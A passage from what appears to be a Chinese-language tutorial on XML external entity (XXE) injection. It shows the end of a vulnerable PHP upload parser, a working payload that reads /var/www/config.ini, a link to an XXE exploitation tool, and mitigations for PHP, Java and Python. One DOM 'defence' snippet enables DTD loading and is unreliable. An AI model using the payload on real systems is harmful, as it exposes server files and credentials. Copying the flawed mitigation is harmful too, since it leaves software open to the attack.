$doc->Load($_FILES["file"]["tmp_name"]);
$tags = $doc->getElementsByTagName("data");
foreach($tags as $tag) {
echo "<pre>" . $tag->nodeValue . "</pre>\n";
}
} else {
echo "<h3>No file was selected for upload.</h3>";
}
?>
</body>
</html>
https://github.com/enjoiz/XXEinjector
1.使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾用戶提交的XML數據
對變量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC進行過濾.
例如,讓咱們來試着定義一個新的自定義實體「harmless」。
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
如今,包含這個實體定義的XML文檔能夠在任何容許的地方引用&harmless;實體。
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
<result>This result is &harmless;</result>
</results>
XML解析器,例如PHP DOM,在解析這段XML時,會在加載完文檔後當即處理這個自定義實體。所以,請求相關文本時,會獲得以下的返回:
This result is completely harmless
下面的這個就確定不是無害的輸入:
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM
"file:///var/www/config.ini">]>
<results>
<result>&harmless;</result>
</results>
3.檢查所使用的底層xml解析庫,默認禁止外部實體的解析
4.使用第三方應用代碼及時升級補丁
5.同時加強對系統的監控,防止此問題被人利用
對於PHP,因爲simplexml_load_string函數的XML解析問題出在libxml庫上,因此加載實體前能夠調用這樣一個函數
<?php
libxml_disable_entity_loader(true);
?>
以進行防禦,對於XMLReader和DOM方式解析,能夠參考以下代碼:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">